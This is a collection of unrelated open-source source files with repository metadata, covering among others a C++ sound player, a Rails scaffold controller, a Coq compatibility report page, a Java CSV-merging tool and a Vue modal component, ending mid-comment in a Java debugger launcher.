#include "Sound.h" #include <Windows.h> #include "DigitalGraffiti.h" Sound::Sound(void) { // Find music and sound files std::string exeDir = DigitalGraffiti::getExeDirectory(); DigitalGraffiti::getFileList(exeDir + "\\sound\\instructions\\*", instructionsMusicList); DigitalGraffiti::getFileList(exeDir + "\\sound\\cleanup\\*", cleanupMusicList); DigitalGraffiti::getFileList(exeDir + "\\sound\\splat\\*", splatSoundList); instructionsCounter = 0; cleanupCounter = 0; splatCounter = 0; numInstructions= instructionsMusicList.size(); numCleanup = cleanupMusicList.size(); numSplat = splatSoundList.size(); if(DigitalGraffiti::DEBUG) { printf("Sound directory is: %s\n", exeDir.c_str()); printf("\tnumInstructions = %u\n", numInstructions); printf("\tnumCleanup = %u\n", numCleanup); printf("\tnumSplat = %u\n", numSplat); } } void Sound::playInstructionsMusic(void) { if(numInstructions > 0) { if(DigitalGraffiti::DEBUG) { printf("Play %s\n", instructionsMusicList[instructionsCounter].c_str()); } PlaySound(TEXT(instructionsMusicList[instructionsCounter].c_str()), NULL, SND_FILENAME | SND_ASYNC| SND_NOWAIT); instructionsCounter = (instructionsCounter + 1) % numInstructions; } } void Sound::playCleanupMusic(void) { if(numCleanup > 0) { if(DigitalGraffiti::DEBUG) { printf("Play %s\n", cleanupMusicList[cleanupCounter].c_str()); } PlaySound(TEXT(cleanupMusicList[cleanupCounter].c_str()), NULL, SND_FILENAME | SND_ASYNC| SND_NOWAIT); cleanupCounter = (cleanupCounter + 1) % numCleanup; } } void Sound::playSplatSound(void) { if(numSplat > 0) { if(DigitalGraffiti::DEBUG) { printf("Play %s\n", splatSoundList[splatCounter].c_str()); } PlaySound(TEXT(splatSoundList[splatCounter].c_str()), NULL, SND_FILENAME | SND_ASYNC| SND_NOWAIT); splatCounter = (splatCounter + 1) % numSplat; } }
nbbrooks/digital-graffiti
DigitalGraffiti/Sound.cpp
C++
mit
1,924
using System.Collections.ObjectModel; using AppStudio.Common; using AppStudio.Common.Navigation; using Windows.UI.Xaml; namespace WindowsAppStudio.Navigation { public abstract class NavigationNode : ObservableBase { private bool _isSelected; public string Title { get; set; } public string Label { get; set; } public abstract bool IsContainer { get; } public bool IsSelected { get { return _isSelected; } set { SetProperty(ref _isSelected, value); } } public abstract void Selected(); } public class ItemNavigationNode : NavigationNode, INavigable { public override bool IsContainer { get { return false; } } public NavigationInfo NavigationInfo { get; set; } public override void Selected() { NavigationService.NavigateTo(this); } } public class GroupNavigationNode : NavigationNode { private Visibility _visibility; public GroupNavigationNode() { Nodes = new ObservableCollection<NavigationNode>(); } public override bool IsContainer { get { return true; } } public ObservableCollection<NavigationNode> Nodes { get; set; } public Visibility Visibility { get { return _visibility; } set { SetProperty(ref _visibility, value); } } public override void Selected() { if (Visibility == Visibility.Collapsed) { Visibility = Visibility.Visible; } else { Visibility = Visibility.Collapsed; } } } }
wasteam/WindowsAppStudioApp
WindowsAppStudio.W10/Navigation/NavigationNode.cs
C#
mit
2,027
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>canon-bdds: Not compatible 👼</title> <link rel="shortcut icon" type="image/png" href="../../../../../favicon.png" /> <link href="../../../../../bootstrap.min.css" rel="stylesheet"> <link href="../../../../../bootstrap-custom.css" rel="stylesheet"> <link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet"> <script src="../../../../../moment.min.js"></script> <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <div class="container"> <div class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="../../../../.."><i class="fa fa-lg fa-flag-checkered"></i> Coq bench</a> </div> <div id="navbar" class="collapse navbar-collapse"> <ul class="nav navbar-nav"> <li><a href="../..">clean / released</a></li> <li class="active"><a href="">8.10.0 / canon-bdds - 8.5.0</a></li> </ul> </div> </div> </div> <div class="article"> <div class="row"> <div class="col-md-12"> <a href="../..">« Up</a> <h1> canon-bdds <small> 8.5.0 <span class="label label-info">Not compatible 👼</span> </small> </h1> <p>📅 <em><script>document.write(moment("2021-12-07 06:33:16 +0000", "YYYY-MM-DD HH:mm:ss Z").fromNow());</script> (2021-12-07 06:33:16 UTC)</em><p> <h2>Context</h2> <pre># Packages matching: installed # Name # Installed # Synopsis base-bigarray base base-threads base base-unix base conf-findutils 1 Virtual package relying on findutils coq 8.10.0 Formal proof management system num 1.4 The legacy Num library for arbitrary-precision integer and rational arithmetic ocaml 4.07.1 The OCaml compiler (virtual package) ocaml-base-compiler 4.07.1 Official release 4.07.1 ocaml-config 1 OCaml Switch Configuration ocamlfind 1.9.1 A library manager for OCaml # opam file: opam-version: &quot;2.0&quot; maintainer: &quot;[email protected]&quot; homepage: &quot;https://github.com/coq-contribs/canon-bdds&quot; license: &quot;Proprietary&quot; build: [make &quot;-j%{jobs}%&quot;] install: [make &quot;install&quot;] remove: [&quot;rm&quot; &quot;-R&quot; &quot;%{lib}%/coq/user-contrib/CanonBDDs&quot;] depends: [ &quot;ocaml&quot; &quot;coq&quot; {&gt;= &quot;8.5&quot; &amp; &lt; &quot;8.6~&quot;} ] tags: [ &quot;keyword:BDT&quot; &quot;keyword:finite sets&quot; &quot;keyword:model checking&quot; &quot;keyword:binary decision diagrams&quot; &quot;category:Computer Science/Decision Procedures and Certified Algorithms/Decision procedures&quot; &quot;category:Miscellaneous/Extracted Programs/Decision procedures&quot; ] authors: [ &quot;Emmanuel Ledinot &lt;&gt;&quot; ] bug-reports: &quot;https://github.com/coq-contribs/canon-bdds/issues&quot; dev-repo: &quot;git+https://github.com/coq-contribs/canon-bdds.git&quot; synopsis: &quot;Canonicity of Binary Decision Dags&quot; description: &quot;&quot;&quot; A proof of unicity and canonicity of Binary Decision Trees and Binary Decision Dags. This contrib contains also a development on finite sets.&quot;&quot;&quot; flags: light-uninstall url { src: &quot;https://github.com/coq-contribs/canon-bdds/archive/v8.5.0.tar.gz&quot; checksum: &quot;md5=1e2bdec36357609a6a0498d59a2e68ba&quot; } </pre> <h2>Lint</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> </dl> <h2>Dry install 🏜️</h2> <p>Dry install with the current Coq version:</p> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam install -y --show-action coq-canon-bdds.8.5.0 coq.8.10.0</code></dd> <dt>Return code</dt> <dd>5120</dd> <dt>Output</dt> <dd><pre>[NOTE] Package coq is already installed (current version is 8.10.0). The following dependencies couldn&#39;t be met: - coq-canon-bdds -&gt; coq &lt; 8.6~ -&gt; ocaml &lt; 4.06.0 base of this switch (use `--unlock-base&#39; to force) No solution found, exiting </pre></dd> </dl> <p>Dry install without Coq/switch base, to test if the problem was incompatibility with the current Coq/OCaml version:</p> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam remove -y coq; opam install -y --show-action --unlock-base coq-canon-bdds.8.5.0</code></dd> <dt>Return code</dt> <dd>0</dd> </dl> <h2>Install dependencies</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Duration</dt> <dd>0 s</dd> </dl> <h2>Install 🚀</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Duration</dt> <dd>0 s</dd> </dl> <h2>Installation size</h2> <p>No files were installed.</p> <h2>Uninstall 🧹</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Missing removes</dt> <dd> none </dd> <dt>Wrong removes</dt> <dd> none </dd> </dl> </div> </div> </div> <hr/> <div class="footer"> <p class="text-center"> Sources are on <a href="https://github.com/coq-bench">GitHub</a> © Guillaume Claret 🐣 </p> </div> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <script src="../../../../../bootstrap.min.js"></script> </body> </html>
coq-bench/coq-bench.github.io
clean/Linux-x86_64-4.07.1-2.0.6/released/8.10.0/canon-bdds/8.5.0.html
HTML
mit
6,962
# AndSpecification(*T*) Constructor Additional header content Initializes a new instance of the <a href="T_iTin_Export_ComponentModel_Patterns_AndSpecification_1">AndSpecification(T)</a> class **Namespace:**&nbsp;<a href="N_iTin_Export_ComponentModel_Patterns">iTin.Export.ComponentModel.Patterns</a><br />**Assembly:**&nbsp;iTin.Export.Core (in iTin.Export.Core.dll) Version: 2.0.0.0 (2.0.0.0) ## Syntax **C#**<br /> ``` C# public AndSpecification( ISpecification<T> left, ISpecification<T> right ) ``` **VB**<br /> ``` VB Public Sub New ( left As ISpecification(Of T), right As ISpecification(Of T) ) ``` #### Parameters &nbsp;<dl><dt>left</dt><dd>Type: <a href="T_iTin_Export_ComponentModel_Patterns_ISpecification_1">iTin.Export.ComponentModel.Patterns.ISpecification</a>(<a href="T_iTin_Export_ComponentModel_Patterns_AndSpecification_1">*T*</a>)<br />\[Missing <param name="left"/> documentation for "M:iTin.Export.ComponentModel.Patterns.AndSpecification`1.#ctor(iTin.Export.ComponentModel.Patterns.ISpecification{`0},iTin.Export.ComponentModel.Patterns.ISpecification{`0})"\]</dd><dt>right</dt><dd>Type: <a href="T_iTin_Export_ComponentModel_Patterns_ISpecification_1">iTin.Export.ComponentModel.Patterns.ISpecification</a>(<a href="T_iTin_Export_ComponentModel_Patterns_AndSpecification_1">*T*</a>)<br />\[Missing <param name="right"/> documentation for "M:iTin.Export.ComponentModel.Patterns.AndSpecification`1.#ctor(iTin.Export.ComponentModel.Patterns.ISpecification{`0},iTin.Export.ComponentModel.Patterns.ISpecification{`0})"\]</dd></dl> ## Remarks \[Missing <remarks> documentation for "M:iTin.Export.ComponentModel.Patterns.AndSpecification`1.#ctor(iTin.Export.ComponentModel.Patterns.ISpecification{`0},iTin.Export.ComponentModel.Patterns.ISpecification{`0})"\] ## See Also #### Reference <a href="T_iTin_Export_ComponentModel_Patterns_AndSpecification_1">AndSpecification(T) Class</a><br /><a href="N_iTin_Export_ComponentModel_Patterns">iTin.Export.ComponentModel.Patterns Namespace</a><br />
iAJTin/iExportEngine
source/documentation/iTin.Export.Documentation/Documentation/M_iTin_Export_ComponentModel_Patterns_AndSpecification_1__ctor.md
Markdown
mit
2,028
// This file auto generated by plugin for ida pro. Generated code only for x64. Please, dont change manually #pragma once #include <common/common.h> #include <CRecallRequest.hpp> START_ATF_NAMESPACE namespace Info { using CRecallRequestctor_CRecallRequest2_ptr = void (WINAPIV*)(struct CRecallRequest*, uint16_t); using CRecallRequestctor_CRecallRequest2_clbk = void (WINAPIV*)(struct CRecallRequest*, uint16_t, CRecallRequestctor_CRecallRequest2_ptr); using CRecallRequestClear4_ptr = void (WINAPIV*)(struct CRecallRequest*); using CRecallRequestClear4_clbk = void (WINAPIV*)(struct CRecallRequest*, CRecallRequestClear4_ptr); using CRecallRequestClose6_ptr = void (WINAPIV*)(struct CRecallRequest*, bool); using CRecallRequestClose6_clbk = void (WINAPIV*)(struct CRecallRequest*, bool, CRecallRequestClose6_ptr); using CRecallRequestGetID8_ptr = uint16_t (WINAPIV*)(struct CRecallRequest*); using CRecallRequestGetID8_clbk = uint16_t (WINAPIV*)(struct CRecallRequest*, CRecallRequestGetID8_ptr); using CRecallRequestGetOwner10_ptr = struct CPlayer* (WINAPIV*)(struct CRecallRequest*); using CRecallRequestGetOwner10_clbk = struct CPlayer* (WINAPIV*)(struct CRecallRequest*, CRecallRequestGetOwner10_ptr); using CRecallRequestIsBattleModeUse12_ptr = bool (WINAPIV*)(struct CRecallRequest*); using CRecallRequestIsBattleModeUse12_clbk = bool (WINAPIV*)(struct CRecallRequest*, CRecallRequestIsBattleModeUse12_ptr); using CRecallRequestIsClose14_ptr = bool (WINAPIV*)(struct CRecallRequest*); using CRecallRequestIsClose14_clbk = bool (WINAPIV*)(struct CRecallRequest*, CRecallRequestIsClose14_ptr); using CRecallRequestIsRecallAfterStoneState16_ptr = bool (WINAPIV*)(struct CRecallRequest*); using CRecallRequestIsRecallAfterStoneState16_clbk = bool (WINAPIV*)(struct CRecallRequest*, CRecallRequestIsRecallAfterStoneState16_ptr); using CRecallRequestIsRecallParty18_ptr = bool (WINAPIV*)(struct CRecallRequest*); using CRecallRequestIsRecallParty18_clbk = bool (WINAPIV*)(struct CRecallRequest*, CRecallRequestIsRecallParty18_ptr); using CRecallRequestIsTimeOut20_ptr = bool (WINAPIV*)(struct CRecallRequest*); using CRecallRequestIsTimeOut20_clbk = bool (WINAPIV*)(struct CRecallRequest*, CRecallRequestIsTimeOut20_ptr); using CRecallRequestIsWait22_ptr = bool (WINAPIV*)(struct CRecallRequest*); using CRecallRequestIsWait22_clbk = bool (WINAPIV*)(struct CRecallRequest*, CRecallRequestIsWait22_ptr); using CRecallRequestRecall24_ptr = char (WINAPIV*)(struct CRecallRequest*, struct CPlayer*, bool); using CRecallRequestRecall24_clbk = char (WINAPIV*)(struct CRecallRequest*, struct CPlayer*, bool, CRecallRequestRecall24_ptr); using CRecallRequestRegist26_ptr = char (WINAPIV*)(struct CRecallRequest*, struct CPlayer*, struct CCharacter*, bool, bool, bool); using CRecallRequestRegist26_clbk = char (WINAPIV*)(struct CRecallRequest*, struct CPlayer*, struct CCharacter*, bool, bool, bool, CRecallRequestRegist26_ptr); using CRecallRequestdtor_CRecallRequest30_ptr = void (WINAPIV*)(struct CRecallRequest*); using CRecallRequestdtor_CRecallRequest30_clbk = void (WINAPIV*)(struct CRecallRequest*, CRecallRequestdtor_CRecallRequest30_ptr); }; // end namespace Info END_ATF_NAMESPACE
goodwinxp/Yorozuya
library/ATF/CRecallRequestInfo.hpp
C++
mit
3,442
class DiscountTechnicalTypesController < ApplicationController before_action :set_discount_technical_type, only: [:show, :edit, :update, :destroy] # GET /discount_technical_types # GET /discount_technical_types.json def index @discount_technical_types = DiscountTechnicalType.all end # GET /discount_technical_types/1 # GET /discount_technical_types/1.json def show end # GET /discount_technical_types/new def new @discount_technical_type = DiscountTechnicalType.new end # GET /discount_technical_types/1/edit def edit end # POST /discount_technical_types # POST /discount_technical_types.json def create @discount_technical_type = DiscountTechnicalType.new(discount_technical_type_params) respond_to do |format| if @discount_technical_type.save format.html { redirect_to @discount_technical_type, notice: 'Discount technical type was successfully created.' } format.json { render :show, status: :created, location: @discount_technical_type } else format.html { render :new } format.json { render json: @discount_technical_type.errors, status: :unprocessable_entity } end end end # PATCH/PUT /discount_technical_types/1 # PATCH/PUT /discount_technical_types/1.json def update respond_to do |format| if @discount_technical_type.update(discount_technical_type_params) format.html { redirect_to @discount_technical_type, notice: 'Discount technical type was successfully updated.' } format.json { render :show, status: :ok, location: @discount_technical_type } else format.html { render :edit } format.json { render json: @discount_technical_type.errors, status: :unprocessable_entity } end end end # DELETE /discount_technical_types/1 # DELETE /discount_technical_types/1.json def destroy @discount_technical_type.destroy respond_to do |format| format.html { redirect_to discount_technical_types_url, notice: 'Discount technical type was successfully destroyed.' } format.json { head :no_content } end end private # Use callbacks to share common setup or constraints between actions. def set_discount_technical_type @discount_technical_type = DiscountTechnicalType.find(params[:id]) end # Never trust parameters from the scary internet, only allow the white list through. def discount_technical_type_params params.require(:discount_technical_type).permit(:value) end end
maxjuniorbr/mobSeg
app/controllers/discount_technical_types_controller.rb
Ruby
mit
2,523
using System.Net.Sockets; namespace VidereLib.EventArgs { /// <summary> /// EventArgs for the OnClientConnected event. /// </summary> public class OnClientConnectedEventArgs : System.EventArgs { /// <summary> /// The connected client. /// </summary> public TcpClient Client { private set; get; } /// <summary> /// Constructor. /// </summary> /// <param name="client">The connected client.</param> public OnClientConnectedEventArgs( TcpClient client ) { this.Client = client; } } }
Wolf-Code/Videre
Videre/VidereLib/EventArgs/OnClientConnectedEventArgs.cs
C#
mit
610
require 'rubygems' require 'net/dns' module Reedland module Command class Host def self.run(address) regular = Net::DNS::Resolver.start address.join(" ") mx = Net::DNS::Resolver.new.search(address.join(" "), Net::DNS::MX) return "#{regular}\n#{mx}" end end end end
reedphish/discord-reedland
commands/host.rb
Ruby
mit
291
<html> <head> <meta name="viewport" content="width=device-width, initial-scale=1" charset="UTF-8"> <title>onSupportNavigateUp</title> </head><body><link href="../../../images/logo-icon.svg" rel="icon" type="image/svg"><script>var pathToRoot = "../../../";</script> <script type="text/javascript" src="../../../scripts/sourceset_dependencies.js" async></script><link href="../../../styles/style.css" rel="Stylesheet"><link href="../../../styles/jetbrains-mono.css" rel="Stylesheet"><link href="../../../styles/main.css" rel="Stylesheet"><link href="../../../styles/prism.css" rel="Stylesheet"><link href="../../../styles/logo-styles.css" rel="Stylesheet"><script type="text/javascript" src="../../../scripts/clipboard.js" async></script><script type="text/javascript" src="../../../scripts/navigation-loader.js" async></script><script type="text/javascript" src="../../../scripts/platform-content-handler.js" async></script><script type="text/javascript" src="../../../scripts/main.js" defer></script><script type="text/javascript" src="../../../scripts/prism.js" async></script><script>const storage = localStorage.getItem("dokka-dark-mode") const savedDarkMode = storage ? JSON.parse(storage) : false if(savedDarkMode === true){ document.getElementsByTagName("html")[0].classList.add("theme-dark") }</script> <div class="navigation-wrapper" id="navigation-wrapper"> <div id="leftToggler"><span class="icon-toggler"></span></div> <div class="library-name"><a href="../../../index.html"><span>stripe-android</span></a></div> <div></div> <div class="pull-right d-flex"><button id="theme-toggle-button"><span id="theme-toggle"></span></button> <div id="searchBar"></div> </div> </div> <div id="container"> <div id="leftColumn"> <div id="sideMenu"></div> </div> <div id="main"> <div class="main-content" id="content" pageids="payments-core::com.stripe.android.view/PaymentMethodsActivity/onSupportNavigateUp/#/PointingToDeclaration//-1622557690"> <div class="breadcrumbs"><a href="../../index.html">payments-core</a>/<a href="../index.html">com.stripe.android.view</a>/<a href="index.html">PaymentMethodsActivity</a>/<a href="on-support-navigate-up.html">onSupportNavigateUp</a></div> <div class="cover "> <h1 class="cover"><span>on</span><wbr><span>Support</span><wbr><span>Navigate</span><wbr><span><span>Up</span></span></h1> </div> <div class="platform-hinted " data-platform-hinted="data-platform-hinted"><div class="content sourceset-depenent-content" data-active="" data-togglable=":payments-core:dokkaHtmlPartial/release"><div class="symbol monospace"><span class="token keyword">open </span><span class="token keyword">override </span><span class="token keyword">fun </span><a href="on-support-navigate-up.html"><span class="token function">onSupportNavigateUp</span></a><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">: </span><a href="https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-boolean/index.html">Boolean</a><span class="top-right-position"><span class="copy-icon"></span><div class="copy-popup-wrapper popup-to-left"><span class="copy-popup-icon"></span><span>Content copied to clipboard</span></div></span></div></div></div> </div> <div class="footer"><span class="go-to-top-icon"><a href="#content" id="go-to-top-link"></a></span><span>© 2022 Copyright</span><span class="pull-right"><span>Generated by </span><a href="https://github.com/Kotlin/dokka"><span>dokka</span><span class="padded-icon"></span></a></span></div> </div> </div> </body></html>
stripe/stripe-android
docs/payments-core/com.stripe.android.view/-payment-methods-activity/on-support-navigate-up.html
HTML
mit
3,722
# Set up gems listed in the Gemfile. # See: http://gembundler.com/bundler_setup.html # http://stackoverflow.com/questions/7243486/why-do-you-need-require-bundler-setup ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__) require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE']) # Require gems we care about require 'rubygems' require 'uri' require 'pathname' require 'pg' require 'active_record' require 'logger' require 'sinatra' require "sinatra/reloader" if development? require 'erb' require 'bcrypt' # Some helper constants for path-centric logic APP_ROOT = Pathname.new(File.expand_path('../../', __FILE__)) APP_NAME = APP_ROOT.basename.to_s configure do # By default, Sinatra assumes that the root is the file that calls the configure block. # Since this is not the case for us, we set it manually. set :root, APP_ROOT.to_path # See: http://www.sinatrarb.com/faq.html#sessions enable :sessions set :session_secret, ENV['SESSION_SECRET'] || 'this is a secret shhhhhhhhh' # Set the views to set :views, File.join(Sinatra::Application.root, "app", "views") end # Set up the controllers and helpers Dir[APP_ROOT.join('app', 'controllers', '*.rb')].each { |file| require file } Dir[APP_ROOT.join('app', 'helpers', '*.rb')].each { |file| require file } # Set up the database and models require APP_ROOT.join('config', 'database')
ckammerl/LilTwitter
config/environment.rb
Ruby
mit
1,387
#!/bin/bash STEP=$1 TEST=$2 case "$STEP" in install) echo "Installing..." if [ -d vendor ]; then chmod 777 -R vendor rm -r vendor fi COMPOSER=dev.json composer install ;; script) echo "Run tests..."; if [ ! -d vendor ]; then echo "Application not installed. Tests stopped. Exit with code 1" exit 1 fi case "$TEST" in unit) echo "Run phpunit --verbose --testsuite=unit..."; php vendor/bin/phpunit --verbose --testsuite=unit ;; phpcs) echo "Run phpcs --encoding=utf-8 --extensions=php --standard=psr2 Okvpn/ -p..."; php vendor/bin/phpcs --encoding=utf-8 --standard=psr2 -p src ;; esac ;; esac
vtsykun/redis-message-queue
.builds/travis.sh
Shell
mit
845
(function(Object) { Object.Model.Background = Object.Model.PresentationObject.extend({ "initialize" : function() { Object.Model.PresentationObject.prototype.initialize.call(this); } },{ "type" : "Background", "attributes" : _.defaults({ "skybox" : { "type" : "res-texture", "name" : "skybox", "_default" : "" }, "name" : { "type" : "string", "_default" : "new Background", "name" : "name" } }, Object.Model.PresentationObject.attributes) }); }(sp.module("object")));
larsrohwedder/scenepoint
client_src/modules/object/model/Background.js
JavaScript
mit
532
<div class="mini-graph clearfix"> <div class="nav"><nav><a class="breadcrumb" href="/">Offices</a> > <span>{{office}}</span></nav></div> <h3>NYC Campaign Contributions: {{office}}</h3> <hr> <ul> <li ng-click="byTotal($event)" class="chart-option active-option">Total Funds</li> <li ng-click="byContributions($event)" class="chart-option">Contributions</li> <li ng-click="byMatch($event)" class="chart-option">Matching Funds</li> <li ng-click="byContributors($event)" class="chart-option">Number of Contributors</li> </ul> <hr> <ul class="selected-candidates"> <li ng-repeat="candidate in selectedCandidates" id="{{candidate.id}}" class="candidate-button-selected" ng-class="addActive(candidate.id)" ng-click="removeActive($event, candidate.id, $index)"> {{candidate.name}} </li> </ul> <hr> <ul class="candidate-list"> <li ng-repeat="candidate in candidates" id="can_{{candidate.id}}" class="candidate-button" ng-click="toggleSelected($event, $index)"> {{candidate.name}} </li> </ul> <div class="candidates graph-wrapper"> <svg d3="" d3-data="selectedCandidates" d3-renderer="barGraphRenderer" class="candidate-bar-graph"></svg> </div> <!--<hr>--> <!--<div class="candidate-info-box" style="display: none;">--> <!--<p class="candidate-name">{{name}}</p>--> <!--<p class="total-contributors">{{count_contributors}} Contributors</p><a href="{{detail_link}}" title="{{name}} Details">Details</a>--> <!--<table class="funds">--> <!--<tr class="match-amount">--> <!--<td>Matching Funds:</td>--> <!--<td>{{candidate_match | currency}}</td>--> <!--</tr>--> <!--<tr class="contribution-amount">--> <!--<td>Contributions Funds:</td>--> <!--<td>{{candidate_contributions | currency}}</td>--> <!--</tr>--> <!--<tr class="total-amount">--> <!--<td>Total Funds:</td>--> <!--<td>{{candidate_total | currency}}</td>--> <!--</tr>--> <!--</table>--> <!--</div>--> <div id="candidate_info" class="candidate-info tooltip"> {{candidate_name}}<br> {{candidate_value}} </div> </div>
akilism/nyc-campaign-finance
site_code/views/partials/candidate_list.html
HTML
mit
2,346
<?php namespace HsBundle; use HsBundle\DependencyInjection\Compiler\ReportsCompilerPass; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\HttpKernel\Bundle\Bundle; class HsBundle extends Bundle { public function build(ContainerBuilder $container) { parent::build($container); $container->addCompilerPass(new ReportsCompilerPass()); } }
deregenboog/ecd
src/HsBundle/HsBundle.php
PHP
mit
401
<!DOCTYPE html> <head> <meta charset="utf-8"> <link href="../style/campfire.css" rel="stylesheet"> <link href="../style/bootstrap/css/bootstrap.min.css" rel="stylesheet"> </head> <body> <div class="chart" id="wall"></div> </body> <script src="../script/campfire-wall.js" charset="utf-8"></script> </html>
mpoegel/SemNExT-Visualizations
public/campfire/wall.html
HTML
mit
315
import './Modal.scss' import pugTpl from './Modal.pug' import mixin from '../../mixin' import alert from '@vue2do/component/module/Modal/alert' import confirm from '@vue2do/component/module/Modal/confirm' export default { name: 'PageCompModal', template: pugTpl(), mixins: [mixin], data() { return { testName: 'test' } }, methods: { simple() { this.$refs.simple.show() }, alert() { alert({ message: '这是一个警告弹窗', theme: this.typeTheme, ui: this.typeUI }) }, confirm() { confirm({ message: '这是一个确认弹窗', title: '测试确认弹出', theme: 'danger', ui: 'bootstrap' }) }, showFullPop() { this.$refs.fullPop.show() }, hideFullPop() { this.$refs.fullPop.hide() }, showPureModal() { this.$refs.pureModal.show() }, hidePureModal() { this.$refs.pureModal.hide() } } }
zen0822/vue2do
app/doc/client/component/page/Component/message/Modal/Modal.js
JavaScript
mit
995
package com.igonics.transformers.simple; import java.io.PrintStream; import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.Statement; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.DefaultParser; import org.apache.commons.cli.HelpFormatter; import org.apache.commons.cli.Options; import org.apache.commons.cli.ParseException; import org.relique.jdbc.csv.CsvDriver; import com.igonics.transformers.simple.helpers.CSVDirWalker; import com.igonics.transformers.simple.helpers.CSVLogger; /** * @author gggordon <https://github.com/gggordon> * @version 1.0.0 * @description Transforms sub-directories of similar CSV files into one database file * @created 1.11.2015 * * */ public class JavaCSVTransform { /** * @param baseDir Base Directory to Check for CSV Files * @param dbFile Database File Name or Path * @param subDirectoryDepth Recursive Depth to check for CSV Files. -1 will recurse indefinitely * @param keepTemporaryFile Keep Temporary Buffer File or Delete * */ public void createCSVDatabase(String baseDir, String dbFile,int subDirectoryDepth,boolean keepTemporaryFile){ final String BASE_DIR =baseDir==null? System.getProperty("user.dir") + "\\dataFiles" : baseDir; final String DB_FILE = dbFile==null?"DB-" + System.currentTimeMillis() + ".csv":dbFile; long startTime = System.currentTimeMillis(); CSVLogger.info("Base Dir : " + BASE_DIR); try { CSVDirWalker dirWalker = new CSVDirWalker(BASE_DIR, subDirectoryDepth); //Process Directories dirWalker.start(); CSVLogger.debug("Column Names : " + dirWalker.getHeader()); CSVLogger.info("Temporary Buffer File Complete. Starting Database Queries"); // Writing to database // Load the driver. Class.forName("org.relique.jdbc.csv.CsvDriver"); // Create a connection. The first command line parameter is the directory containing the .csv files. Connection conn = DriverManager.getConnection("jdbc:relique:csv:" + System.getProperty("user.dir")); // Create a Statement object to execute the query with. Statement stmt = conn.createStatement(); ResultSet results = stmt.executeQuery("SELECT * FROM " + dirWalker.getTempBufferPath().replaceAll(".csv", "")); CSVLogger.info("Retrieved Records From Temporary File"); // Dump out the results to a CSV file with the same format // using CsvJdbc helper function CSVLogger.info("Writing Records to database file"); long databaseSaveStartTime = System.currentTimeMillis(); //Create redirect stream to database file PrintStream printStream = new PrintStream(DB_FILE); //print column headings printStream.print(dirWalker.getHeader()+System.lineSeparator()); CsvDriver.writeToCsv(results, printStream, false); CSVLogger.info("Time taken to save records to database (ms): "+(System.currentTimeMillis() - databaseSaveStartTime)); //delete temporary file if(!keepTemporaryFile){ CSVLogger.info("Removing Temporary File"); dirWalker.removeTemporaryFile(); } //Output Program Execution Completed CSVLogger.info("Total execution time (ms) : " + (System.currentTimeMillis() - startTime) + " | Approx Size (bytes) : " + dirWalker.getTotalBytesRead()); } catch (Exception ioe) { CSVLogger.error(ioe.getMessage(), ioe); } } // TODO: Modularize Concepts public static void main(String args[]) { //Parse Command Line Options Options opts = new Options(); HelpFormatter formatter = new HelpFormatter(); opts.addOption("d", "dir", false, "Base Directory of CSV files. Default : Current Directory"); opts.addOption("db", "database", false, "Database File Name. Default DB-{timestamp}.csv"); opts.addOption("depth", "depth", false, "Recursive Depth. Set -1 to recurse indefintely. Default : -1"); opts.addOption("keepTemp",false,"Keeps Temporary file. Default : false"); opts.addOption("h", "help", false, "Display Help"); try { CommandLine cmd = new DefaultParser().parse(opts,args); if(cmd.hasOption("h") || cmd.hasOption("help")){ formatter.printHelp( "javacsvtransform", opts ); return; } //Create CSV Database With Command Line Options or Defaults new JavaCSVTransform().createCSVDatabase(cmd.getOptionValue("d"), cmd.getOptionValue("db"),Integer.parseInt(cmd.getOptionValue("depth", "-1")), cmd.hasOption("keepTemp")); } catch (ParseException e) { formatter.printHelp( "javacsvtransform", opts ); } } }
gggordon/JavaCSVTransform
src/com/igonics/transformers/simple/JavaCSVTransform.java
Java
mit
4,527
require 'test_helper' module ContentControl class UploadsHelperTest < ActionView::TestCase end end
mikedhart/ContentControl
test/unit/helpers/simple_cms/uploads_helper_test.rb
Ruby
mit
104
/* * JDIVisitor * Copyright (C) 2014 Adrian Herrera * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ package org.jdivisitor.debugger.launcher; import java.net.InetSocketAddress; import java.util.List; import java.util.Map; import org.apache.commons.lang3.Validate; import com.sun.jdi.Bootstrap; import com.sun.jdi.VirtualMachine; import com.sun.jdi.connect.AttachingConnector; import com.sun.jdi.connect.Connector; /** * Attach (via a socket) to a listening virtual machine in debug 